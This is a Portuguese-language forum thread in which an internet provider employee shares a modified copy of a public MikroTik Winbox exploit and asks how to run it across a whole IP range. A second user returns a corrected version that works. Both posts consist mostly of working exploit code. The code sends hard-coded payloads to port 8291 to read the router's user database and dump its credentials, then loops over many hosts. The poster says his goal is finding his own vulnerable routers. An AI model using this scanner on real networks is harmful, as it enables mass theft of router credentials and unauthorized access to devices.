lucascruz Posted March 30, 2019 at 05:54 PM Share Posted March 30, 2019 at 05:54 PM Fala galera blz ? Meu nome é Lucas e atualmente trabalho num provedor de internet aqui da região onde moro. Neste provedor, trabalhamos com bastante equipamentos mikrotik. Foi descoberto uma vulnerabilidade no winbox destes equipamentos se não me engano, aonde é capaz obter os usuários e senhas de um equipamento apenas passando o ip do hardware, porém a mikrotik graças a Deus já corrigiu o bug. Agora imagina se você quiser ver quais equipamentos da sua rede estão vulneráveis, você terá que colocar ip por ip de um bloco até varrer todos os hosts, e isso é muito trabalhoso. Então pensei em uma forma de fazer com que você colocasse apenas um ip exemplo 133.255.55.0/24 e ele verificasse do zero até o 254. Este é o cod do momento, efetuei algumas alterações mas não consegui chegar no resultado desejado. A função está percorrendo todos os ip's do range, porém não funciona. ele demora demora e cai no settimeout. #!/usr/bin/env python3 import socket import sys from extract_user import dump def hack_the_planet(ip): a = [0x68, 0x01, 0x00, 0x66, 0x4d, 0x32, 0x05, 0x00, 0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x05, 0x07, 0x00, 0xff, 0x09, 0x07, 0x01, 0x00, 0x00, 0x21, 0x35, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x66, 0x6c, 0x61, 0x73, 0x68, 0x2f, 0x72, 0x77, 0x2f, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2e, 0x64, 0x61, 0x74, 0x02, 0x00, 0xff, 0x88, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0x88, 0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00] b = [0x3b, 0x01, 0x00, 0x39, 0x4d, 0x32, 0x05, 0x00, 0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x06, 0x01, 0x00, 0xfe, 0x09, 0x35, 0x02, 0x00, 0x00, 0x08, 0x00, 0x80, 0x00, 0x00, 0x07, 0x00, 0xff, 0x09, 0x04, 0x02, 0x00, 0xff, 0x88, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0x88, 0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00] # Initialize Socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(3) s.connect((ip, 8291)) s.settimeout(3) # Convert to bytearray for manipulation a = bytearray(a) b = bytearray(b) # Send hello and recieve the sesison id s.send(a) d = bytearray(s.recv(1024)) # Replace the session id in template b[19] = d[38] # Send the edited response s.send(b) d = bytearray(s.recv(1024)) # Get results print(ip) dump(d[55:]) s.close() print('VARRENDO HOSTS ...') if __name__ == "__main__": try: # getip = sys.argv[1] iprange = ['177.77.777.'+str(x) for x in range(0, 10)] print(iprange) except: print("Fail") for ip in iprange: hack_the_planet(ip) Lembrando que o repositório onde encontrei o cod original é https://github.com/BigNerd95/WinboxExploit Destes arquivos o unico que fiz alterações foi o WinboxExploit.py Link to comment Share on other sites More sharing options...
Guest gnoo Posted March 30, 2019 at 08:45 PM Share Posted March 30, 2019 at 08:45 PM @lucascruz pelo que eu percebi esse scan é para ser feito numa rede LAN, ou estou enganado? Link to comment Share on other sites More sharing options...
Guest gnoo Posted March 30, 2019 at 10:41 PM Share Posted March 30, 2019 at 10:41 PM @lucascruz o problema no teu código NO MEU ponto de vista, tem a ver com lógica, ou seja, os dados a enviar, a receber e a ser manipulados devem ser feitos apenas se a conexão se realizar, tens que testar se a conexão existe e só depois envias os dados, recebes os dados e fazes o tratamento dos dados recebidos. Se a conexão não for efectuada é nos dado um erro que nos dá uma ideia da razão pela qual não fez conexão para nos ajudar a resolver problemas. A questão agora é se há algum problema com o código do bloco de instruções que é executado se a ligação for efectuada, uma vez que não consigo reproduzir esse ambiente onde a falha existe, não consigo testar, isso já fica ao teu encargo. ATENÇÃO: Eu comentei a linha from extract_user import dump para não dar erro a dizer quer extract_user não existe uma vez que não baixei o código do github apenas olhei para aquele foi aqui referido, para usar o dump tens que descomentar a essa linha. Segue código: #!/usr/bin/env python3 import socket import sys #from extract_user import dump def hack_the_planet(ip): a = [0x68, 0x01, 0x00, 0x66, 0x4d, 0x32, 0x05, 0x00, 0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x05, 0x07, 0x00, 0xff, 0x09, 0x07, 0x01, 0x00, 0x00, 0x21, 0x35, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x66, 0x6c, 0x61, 0x73, 0x68, 0x2f, 0x72, 0x77, 0x2f, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2e, 0x64, 0x61, 0x74, 0x02, 0x00, 0xff, 0x88, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0x88, 0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00] b = [0x3b, 0x01, 0x00, 0x39, 0x4d, 0x32, 0x05, 0x00, 0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x06, 0x01, 0x00, 0xfe, 0x09, 0x35, 0x02, 0x00, 0x00, 0x08, 0x00, 0x80, 0x00, 0x00, 0x07, 0x00, 0xff, 0x09, 0x04, 0x02, 0x00, 0xff, 0x88, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0x88, 0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00] # Initialize Socket try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # ATENÇÃO: Deve ser alterado mediante a necessidade s.settimeout(0.5) # excuta a conexão print("A testar Host: " + str(ip)) conexao = s.connect_ex((ip, 8291)) # Testa se conexao efetuada com sucesso, # Se valor for 0 a conexao foi efetuada if conexao == 0: print("Conexão efetuada com sucesso em {}".format(ip)) # Se conexao efetuada executa bloco de instruções que segue # Convert to bytearray for manipulation a = bytearray(a) b = bytearray(b) # Send hello and recieve the sesison id s.send(a) d = bytearray(s.recv(1024)) # Replace the session id in template b[19] = d[38] # Send the edited response s.send(b) d = bytearray(s.recv(1024)) # Get results print(ip) dump(d[55:]) s.close() except socket.error as erro: # SE conexão não efetuada devolve erro e passa para a iteração seguinte print("IP: {} Porta: 8291, conexão não efetuada -> {}\n".format(ip, erro)) print('VARRENDO HOSTS ...') if __name__ == "__main__": iprange =['177.77.777.' + str(x) for x in range(0, 250)] for ip in iprange: hack_the_planet(ip) Abraço Link to comment Share on other sites More sharing options...
lucascruz Posted March 30, 2019 at 11:36 PM Author Share Posted March 30, 2019 at 11:36 PM Cara, funcionou, Muito Obrigado ! ( e por sinal, ficou muuuuito melhor agora cara nossa ) Na realidade utilizo na grande maioria das vezes ip's públicos pois são os ip's que ficam nos mikrotiks da rede etc. então agora com esse script posso ver quais ccr's estão desatualizadas ou vulneráveis e corrigir no Firewall. vlw msm cara... Link to comment Share on other sites More sharing options...
Recommended Posts
Archived
This topic is now archived and is closed to further replies.